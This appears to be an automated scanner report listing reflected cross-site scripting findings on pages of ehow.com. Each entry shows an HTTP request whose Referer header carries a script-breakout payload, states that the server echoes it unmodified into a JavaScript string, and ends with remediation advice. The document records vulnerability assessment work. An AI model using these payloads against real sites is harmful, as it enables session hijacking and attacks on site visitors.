GET /how_3815_minutes-business-meeting.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c400e</script><script>alert(1)</script>9ed15557f52
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:01 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 91165
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Take Minutes at a Business Meeting | eHow. ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52b20</script><script>alert(1)</script>75e36263ac was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_4469163_edit-pdf-document.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=52b20</script><script>alert(1)</script>75e36263ac
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:16 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 78825
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Edit a PDF Document | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9c68</script><script>alert(1)</script>58bb3213787 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_4474239_make-graph-using-excel.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=f9c68</script><script>alert(1)</script>58bb3213787
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:01 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 94464
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Graph Using Excel | eHow.com</title ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7370</script><script>alert(1)</script>1fdfe884e13 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_4924781_open-pub-file-mac.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=d7370</script><script>alert(1)</script>1fdfe884e13
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:13 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73379
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Open a Pub File on a Mac | eHow.com</title ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8de30</script><script>alert(1)</script>08c31b04285 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5073161_convert-wps-file-extension.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8de30</script><script>alert(1)</script>08c31b04285
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:13 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75348
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Convert a WPS File Extension | eHow.com</t ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 792c3</script><script>alert(1)</script>e4edbcebfeb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5215115_change-startup-programs-windows-7.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=792c3</script><script>alert(1)</script>e4edbcebfeb
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:56 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82260
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Change Startup Programs in Windows 7 | eHo ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2c9ba</script><script>alert(1)</script>fd2c9cc4bf2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5381925_make-roof-rake.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=2c9ba</script><script>alert(1)</script>fd2c9cc4bf2
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 74669
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Roof Rake | eHow.com</title> <me ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42857</script><script>alert(1)</script>6ac0b75544c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5521182_avoid-seasonal-affective-disorder-sad.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=42857</script><script>alert(1)</script>6ac0b75544c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:24 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 87570
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Avoid SAD | eHow.com</title> <meta char ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5b70</script><script>alert(1)</script>2db931d6be2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5809012_create-indoor-gardens.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=a5b70</script><script>alert(1)</script>2db931d6be2
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:21 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 78162
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eec4a</script><script>alert(1)</script>7e8c02f9d09 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_6469141_improve-english-grammar-skills.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=eec4a</script><script>alert(1)</script>7e8c02f9d09
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:20 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 76462
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Improve English Grammar Skills | eHow.com< ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aabda</script><script>alert(1)</script>31a3c6ca008 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_7496527_resolve-5-common-grammar-problems.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=aabda</script><script>alert(1)</script>31a3c6ca008
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:00 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83005
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Resolve 5 Common Grammar Problems | eHow.c ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c21a6</script><script>alert(1)</script>d5f8e9adbce was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_7744253_attach-mini-shades-update-chandelier.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c21a6</script><script>alert(1)</script>d5f8e9adbce
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:18 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73804
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Attach Mini Shades to Update a Chandelier ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba04d</script><script>alert(1)</script>b64307eba63 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_7856914_prevent-chimney-fires.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ba04d</script><script>alert(1)</script>b64307eba63
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:49 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72254
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df4eb</script><script>alert(1)</script>912910bc2c4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_9191_program-rca-universal.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=df4eb</script><script>alert(1)</script>912910bc2c4
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:13 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83616
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Program an RCA Universal Remote Control | ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c74d1</script><script>alert(1)</script>96f99f29a5c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /internet/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c74d1</script><script>alert(1)</script>96f99f29a5c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:31 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72741
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Internet - How To Information | eHow.com</title> ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa308</script><script>alert(1)</script>c5f09faead2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /job-search-and-employment/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=aa308</script><script>alert(1)</script>c5f09faead2
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:29 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72494
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Job Search & Employment - How To Information | eH ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ba46</script><script>alert(1)</script>6b620b72d2c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
